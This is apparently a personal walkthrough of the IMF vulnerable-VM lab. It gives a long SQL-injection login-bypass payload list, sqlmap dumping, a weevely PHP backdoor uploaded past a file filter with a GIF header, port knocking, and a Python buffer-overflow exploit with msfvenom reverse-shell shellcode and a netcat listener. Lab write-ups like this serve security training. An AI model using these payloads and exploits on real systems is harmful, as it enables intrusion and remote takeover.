_______________IMF_______________

1) Double click the IMF.ova file (Impossible Mission Force) to launch it into virtual box. Don’t forget to change the network according to your kali linux machine, sometimes even the “USB port” too to “3.0”.

2) As usual, type in kali terminal: “netdiscover -i eth0”, if your environment is “eth0”. To see what yours is, type “iwconfig”.

3) Type “nmap -p- -A ip_addr_of_IMF” to make a full scanning, all (-A).

4) Always check on which port any server is running. For example, apache, etc…
Type the ip_addr along with the port in a browser. Right-click on any page/link to view its source code. Even if it is a blank/empty page, if it’s a part of the website, that means it has some importance (UNIVERSAL RULE of hacking). Or just type before any URLs “view-source:” without quotes to see the source code.

5) In the “contact” page area while viewing its source code, we see a flag text ended with an equal sign (mostly encoded with base64 when they are like that, ended with = or ==). Go to your burpsuite and decode it. Put the plaintext somewhere so that you won’t forget it.

6) Sliding to the top of the “contact” source page, wee see some javascript paths to files. Peruse them! The 3 last look like an encoded base64 text, but divided into 3 blocks so that we don’t understand. Copy them and collapse them together. Eg: 
<script src=“js/ZmxhZzJ7YVcxbVl. js”></script>
<script src=“js/XUnRhVzVwYzNS. js”></script>… So, put them together in burpsuite while decoding like ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSblabla==
It gives us a second encoded base64 text. So, copy it and paste in burpsuite to get the final plaintext. 

7) Sometimes, a plaintext could represent anything, such as “passwords, usernames, web path directory…” So, copy each obtained plaintext, and try to add them with a slash behind the web page “http://192.168.ip_addr_of_IMF/blabla”. If they give you something, don’t forget to view source code.

8) Go back to burpsuite, and make the “proxy—>intercept” ON. Now in Firefox, try to enter some username and password (since we got a login page from step7). While clicking login on Firefox, you’ll get the credentials in burpsuite. Now in burpsuite, right-click and “send it to intruder”, and go to the “intruder” tab. Being in “intruder” tab, click the “Positions” tab, and click “clear” to the right of the page to unhighlight highlighted words.

9) We are going to bypass the login step by injecting some SQL injection codes. We do so, cause we found a commented text from “http://192.168.ip_addr_of_IMF/blabla” which talked about it.
-Set a SQL injection point by hover over your mouse on the password you have inputed, it is at the very bottom of the intruder page: Eg: user=kra&pass=blabla. Point your mouse on “blabla” and click on it, and go to the right side click “Add” to highlight. 

10) Go to the “Payloads” tab and paste the injecting characters below there to attempt to bypass the authentication:

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
' or 1=1 --
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --

11) Now, click on “Start attack”. A new page of “intruder” will pop up. Let it run. In the “Results” tab, click on all lines of your input characters, and click “Response” tab at the bottom and read the infos you get for each.
If we find some encoded texts, take note of them, put them in a file; or any informative data found.

12) What we’re gonna do now is to retry login in Firefox, with the same credentials earlier or try to put new ones. Then on burpsuite, make sure that the “proxy—>intercept” is ON, and click login on Firefox. Right-click on burpsuite and “send it to repeater” this time. Go to the “Repeater” tab, and put a bracket right after the “pass” at the bottom, eg: user=kra&pass[]=blabla,,, and click “Go”. It’s not working! Try a different username like “admin”, again it’s not working. 
Well, go back to the “contact.php” webpage. At the bottom, we see some people’s name along with their email addresses. Test them, by taking the name before “@“ of the email, and paste it to “Repeater” and click “Go” to see if there are some changes in your right side of the burpsuite Response. 

13) If finding some encoded text, decode them, and take note of every informative data provided. Then right-click on “Repeater—>Raw” page, any where in the blank area, and “Request in browser—> In original session”. Then follow the instruction (don’t forget to turn “intercept off” first, then after viewing all needed infos, turn it on again, and reload the page where it says “Welcome to the IMF Administration”).

14) Now, we’re gonna set a SQL injection point in burpsuite in the first line of “Proxy—>Raw” where it says “…pagename = home HTTP/1.1” Remove that “home” and replace it by an asterisk *. Right-click and “copy to file”. Assume you call the file like “fichye”.

15) Now we have to sqlmap that file: sqlmap -r fichye --risk=3 --level=5 --dbs --dump --batch --threads=10,,, press enter. If everything is okay, very good!!! You have successfully exploited SQL injection vulnerability and dumped the admin database.
- Take note of every given /path, and add them behind the ip_addr_of_IMF/imfadministrator/blablabla. We obtained an image path also from the sqlmap scanning. In that image, we see a QR code; so google it “QR code decoder”. Go to this website —> https://zxing. org, then upload your image file there which contains the QR code. So, take note of the parsed result. If it requires something to decode, hash, do it. Use your brain!
- In our case, we got a php file. Go and add it behind this: ip_addr_of_IMF/imfadministrator/anyyyy.php

16) We’re gonna use now a tool called “weevely” to generate a php backdoor file. 
Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.

Open up a new terminal and type: “weevely generate pickApassword /root/Downloads/deyePot.php”, as a path example, and press enter. Go there —>ip_addr_of_IMF/imfadministrator/, and upload your file from your PC (Make sure your burpsuite is running before you click “upload” button). Then on your burpsuite —>”proxy—>intercept” tabs, it’s gonna be some changes, read the red color contents, (it’s the code from your uploaded php file), then click “Forward”, and check your browser to see the pop up message.
-Error: Invalid file type. So, clearly the website has some filters that prevent uploading php files. Let’s try another trick to bypass that in the following step:

17) In a terminal, type “mv deyepot.php deyepot.gif”, to change that .php file to a .gif file extension; it will still contain the same code inside. Open the .gif file using “gedit” or “vi”, then add this header “GIF89a34444” at the very top of it (before the <?php) to indicate that it is a .gif file. Save it, and reupload it.
-File successfully uploaded, as a obtained msg.

18) The reason behind the scene in step 16,17 is to be able to read the .php file content. Now, we can view-source code of the page to see the content of that .gif file which is nothing else than the .php backdoor file.
In the html file of the “view-source” code, we see a commented text, let’s try to exploit it in a terminal using “weevely” command by adding it after this “http://ip_addr_of_IMF/imfadministrator/uploads/that_text.gif” to see if it is a directory path of the web content. Type: “weevely http://ip_addr_of_IMF/imfadministrator/uploads/that_text.gif thePassword_inStep16”, press enter. NOTE: We put .gif extension after that text, because our uploaded file was converted from .php to .gif.
Type: Ctrl+c to quit the weevely shell.
If everything is okay, now you have “weevely shell”, then type “ls”. Now, you should get a shell. Use “cat” command to open any found file. If any text seems to be encoded, decode them using burpsuite, (or echo `echo “encryptedBase64_text_blabla” | base64 --decode), or any online help.

19) Now, let’s use a “find” command in the “www-data@imf” terminal and search for “the string found in burpsuite in step18 above”, eg: “find / -name agent &>/dev/null”, press enter. We put “&>/dev/null”, so that we don’t see all the stuffs included that “agent” word. 
Copy the “/usr/local/bin/agent”  and paste it in the terminal without “cd”.
Read everything as usual. Type “netstat -ant” to see what services are running. Now use “netcat” command to connect to a port which you realize that you don’t know about it, “nc 127.0.0.1 7788” for example, and press enter. As we notice, we didn’t see that port while running “nmap” scan.
Now, use “cd /usr/local/bin/”, enter, then “ls”. Use “cat” again to read any file.

20) In the “access_codes” file, we see some numbers along with “SYN” which look like some port numbers. Probably they are not; so we use “knock” to see the things behind the scene. Go to “https://github. com/grongor/knock.git”, download & extract it. Go to its directory, run it using the numbers found behind “SYN”, —> “./knock ip_addr_of_IMF -v 7482 8279 9467 “.
Now, use nmap to open the unknown port “7788”, —> nmap -p7788 ip_addr_of_IMF,,, press enter.

21) Go to this website to download the “retdec”, or simply use terminal and clone it “git clone https://github. com/avast/retdec.git”.
Now install some dependencies that might be needed: “apt-get install build-essential cmake git perl python3 bison flex libfl-dev autoconf automake libtool pkg-config m4 zlib1g-dev upx doxygen graphviz”.
Before this command above, make sure that your “cmake” is installed. If not, go and download cmake deb package along with its dependencies cmake-data deb,,, and install them “dpkg -i cmake-data....deb” and “dpkg -i cmake_3.5…deb” 
After, open the “retdec” directory, make a new directory named as “build”, and go there, --> “mkdir build && cd build”, press enter.
Copy & paste these commands below:
cmake .. -DCMAKE_INSTALL_PREFIX=~/retdec,,, press enter (make sure, you include no space where it should be).
make && make install,,, press enter

22) After the step21 is finished, create a new folder in “/retdec” called “bin”, then go on weevely shell —> “www-data@imf:/usr/local/bin$”, type: “:file_download /usr/local/bin/agent /root/Downloads/retdec/bin/agent”, (cause our /retdec folder is in Downloads path) then press enter. Now go back to the /retdec/bin/ directory in terminal, and type “ pwd”, “ls”, and run this file “retdec-decompiler.py” by typing “ ./retdec-decompiler.py agent”. After that, type “ls” to see a bunch of generated “agent” file. Use “cat” or “gedit” to read the contents of each.
-You can also read all the agent files by typing “cat agent* | less -Sr”, press enter. Take note where the function prints the agent ID —> from //—————————Functions——————
//Address range:…
Int main (…)
.
.
asprintf ((char **)&str2…, 0x2ddd984); This ID is hard coded using hexadecimal. Let’s decode it to decimal number by typing in terminal “echo $((0x2ddd984))”, press enter. Being in the same directory “/retdec/bin”, make the file agent be executable by typing “chmod +x agent”, enter. Then run it “./agent”. Now, it will ask you for the Agent ID, enter your decoded decimal number there and press enter.
It’s gonna give you 3 options and 0 as exit option. Enter “3” for example and type any text there, and press enter to get a result and your terminal back.
 
23) Try sending a bunch of characters to see how it will react, by creating a quick 200 characters using python code/command “python -c ‘print “A” * 200’,,, press enter. We use 200, because many apps get crashed when reading this amount of characters.
a) Re-enter the “agent” area “./agent”, enter the ID, choose “3” option. Copy & paste those 200 characters there, you will notice a message like this one: “ Segmentation fault”. 
b) Let’s now create a custom buffer overflow exploit by running a ruby script called “pattern_create” to generate a unique pattern of 200 characters. Type in terminal “locate pattern_create”, copy its path, and paste it in the next line of terminal by adding “-l 200” behind it. Eg:/usr/share/metasploit-framework/…/pattern_create.rb -l 200”, press enter. 

24) Now we are going to use gdebugger of agent by typing “gdb agent” (being still in the /retdec/bin” directory), press enter. Then “run”. Enter the agent ID, choose option “3”, paste again those 200 characters from step23 b), then press enter. Take a look at the popup message. Take note of the hexadecimal number found (cause u’re gonna use it, but without “0x”). Type “quit” to quit the (gdb) area. 

25) Being still in the path “/retdec/bin” in the terminal, type: “locate pattern_offset”, enter; and “/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q theValue_found_inStep24”. Again take note of the result. 

26) Let’s continue: 
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168Of_kali_Linux LPORT=4448 -f python -b "\x00\x0a\x0d"
00 for NULL
0A for Line Feed \n
0D for Carriage Return \r

27) Now we’re gonna use “objdump” to try finding a vulnerable “JMP” or “CALL” to execute shell_code of “EAX”. It is necessary so that we can execute our binary (which is “agent”) shell code. 
Type “objdump -d agent | grep jmp | grep eax“, press enter. 
_Nothing is found. So, let’s try it for “CALL” function: “objdump -d agent | grep call | grep eax“.
Now, we have an address here (8048563). We can use that address and reverse it, put it in byte code format in order to exploit execute shell code at that specific address. 
So, go to this website https://github. com/jessekurrus/agentsploit/blob/master/agentsploit.py,,, copy the python file content and paste it into a new file “sesa.py” (Assuming the sesa.py you create it in the path of /retdec/bin). The content of the file is in the next step.

28) 
#!/usr/bin/python
import time, struct, sys
import socket as so

#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4448 LHOST=192.168_of_kali -b "\x00\x0a\x0d" -f py

buf =  ""
buf += "\xda\xca\xd9\x74\x24\xf4\xbe\x21\x42\x7a\x9f\x5b\x29"
buf += "\xc9\xb1\x12\x83\xeb\xfc\x31\x73\x13\x03\x52\x51\x98"
buf += "\x6a\xa5\x8e\xab\x76\x96\x73\x07\x13\x1a\xfd\x46\x53"
buf += "\x7c\x30\x08\x07\xd9\x7a\x36\xe5\x59\x33\x30\x0c\x31"
buf += "\x04\x6a\xd6\xa7\xec\x69\x27\x36\xb0\xe4\xc6\x88\x2c"
buf += "\xa7\x59\xbb\x03\x44\xd3\xda\xa9\xcb\xb1\x74\x5c\xe3"
buf += "\x46\xec\xc8\xd4\x87\x8e\x61\xa2\x3b\x1c\x21\x3d\x5a"
buf += "\x10\xce\xf0\x1d"

#CALL EAX address is 8048563
buf += "A" * (168 - len(buf)) 
# The 168 is the number found if step25.

buf +="\x63\x85\x04\x08\n"

try:
   server = str(sys.argv[1])
   port = int(sys.argv[2])
except IndexError:
   print "[+] Usage example: python %s 192.168_of_kali_linux 7788" % sys.argv[0]
   sys.exit()

#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)   
print "\n[+] Attempting to send buffer overflow to agent...."
try: 
   s.connect((server,port))
   s.recv(1024)
   s.send("48093572\n")
   s.recv(1024)
   s.send("3\n")
   s.send(buf)
   s.recv(1024)
   print "\n[+] Completed."
except:
   print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
   sys.exit()

29) Explanation:

The 168 is the number found if step25.
The s.send("48093572…) number is found in step24 after running (48093572).
As we had already our bad characters in our “msfvenom” "\x00\x0a\x0d”; we’ll have to change the buff char from [[[buf =  ""
buf += "\xda\xca\…]]] to our own one generated in “msfvenom” output.

30) Now we are ready to launch netcat. Open up a new terminal and type: “nc -nlvp #port_using_in_msfvenom_in_Step26”, press enter.

31) Run “sesa.py” by typing “python sesa.py target_ip_addr(which is ip_addr_of_IMF) 7788”, press enter.
Pefect!!! Now, in the netcat terminal, we can type “id”.
Try to put this python code “python -c ‘import pty; pty.spawn(“/bash/bin”)’ ,,, to get a shell. You should get root privililege, eg “root@imf:/#”. Type “cd /root”, “ls”, “cat any_file”. If encoded, try to check if it is based64, or any. If it’s ended with “=“ or (==), probably it’s base64.
Decode it in burpsuite, or type in terminal echo `echo “encoded text…=” | base64 --decode`. BE CAREFUL: the two external characters are not single quotes, but rather the char next to the key “1”, under the “~” at the top of your PC keyboard.

That’s it !!! :)